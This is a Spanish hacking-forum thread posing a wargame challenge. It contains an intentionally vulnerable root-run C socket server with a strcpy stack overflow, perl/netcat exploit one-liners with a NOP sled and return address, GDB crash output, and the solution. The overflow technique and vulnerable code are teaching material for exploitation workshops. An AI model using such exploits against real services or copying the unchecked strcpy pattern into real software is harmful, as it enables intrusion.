Foro de elhacker.net

Seguridad Informática => Desafíos - Wargames => Mensaje iniciado por: Garfield07 en 18 Febrero 2011, 00:05 am



Título: [RETO] Adivina POR QUÉ no funciona...
Publicado por: Garfield07 en 18 Febrero 2011, 00:05 am
MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
Código
  1. buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código
  1. sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int feo ()
  14. {
  15. printf ("FEO");
  16. exit (1);
  17. }
  18.  
  19. int vuln (char *trampa)
  20. {
  21. char buffer [100];
  22. strcpy (buffer, trampa);
  23. }
  24.  
  25. void shutup (int signal)
  26. {
  27. times ();
  28. printf ("Shutting down...\n\n");
  29. close (newsocket);
  30. close (socketfd);
  31. exit (0);
  32. }
  33.  
  34. int times ()
  35. {
  36. time_t now=time (0);
  37. struct tm *ahora;
  38. char buffer [40];
  39. ahora=localtime ((const time_t*)&now);
  40. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  41. printf ("%s   ", buffer);
  42. return 0;
  43. }
  44.  
  45. int main (int argc, char *argv [])
  46. {
  47. time_t now=time (0);
  48. struct tm *ahora;
  49. char hora [40];
  50. ahora=localtime ((const time_t*)&now);
  51. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  52. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  53.  
  54. if (getuid()!=0)
  55. {
  56. printf ("This proccess must be run by root.\n\n");
  57. return 1;
  58. }
  59. if (argc<2)
  60. {
  61. printf ("Use: %s <PORT>\n\n", argv [0]);
  62. return 1;
  63. }
  64. int cont;
  65. struct sockaddr_in client, host;
  66. char buffer [1024];
  67. int size=sizeof (client);
  68.  
  69. socketfd=socket (2, 1 ,  0);
  70. host.sin_family=AF_INET;
  71. host.sin_port=htons (atoi (argv [1]));
  72. host.sin_addr.s_addr=0;
  73. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  74.  
  75. listen (socketfd, 3);
  76.  
  77. times ();
  78. printf ("Starting up...\n\n");
  79.  
  80. signal (SIGTERM, shutup);
  81. signal (SIGINT, shutup);
  82.  
  83. while (1)
  84. {
  85. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  86.  
  87. times ();
  88. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  89.  
  90. cont=recv (newsocket, &buffer, 1024, 0);
  91. while (cont>2)
  92. {
  93. times ();
  94. buffer [cont-1]='\0';
  95. printf ("RECV %d bytes: %s\n", cont, buffer);
  96.  
  97. vuln (buffer);
  98. cont=recv (newsocket, &buffer, 1024, 0);
  99. }
  100. times ();
  101. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  102. close (newsocket);
  103. }
  104. close (socketfd);
  105. return 0;
  106. }
  107.  

Y lo estaba explotando con este comando...
Código:
 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335 

Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)

La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD


Título: Re: [RETO] Adivina POR QUÉ no funciona...
Publicado por: h3ct0r en 11 Junio 2011, 23:46 pm
Hola que tal, podrías dar una información mas detallada de que hace ese programa vulnerable y que es lo que se intentaba explotar? Saludos!


Título: Re: [RETO] Adivina POR QUÉ no funciona...
Publicado por: Died en 12 Junio 2011, 21:55 pm
Usaba ese programa como ejemplo para el texto que estaba escribiendo hace un tiempo. Me encontré con ese problema y tardé una media hora en resolverlo, así que lo modifiqué un poco para colgarlo como reto.

PS: No revivas temas "viejos".
Un saludo. Sagrini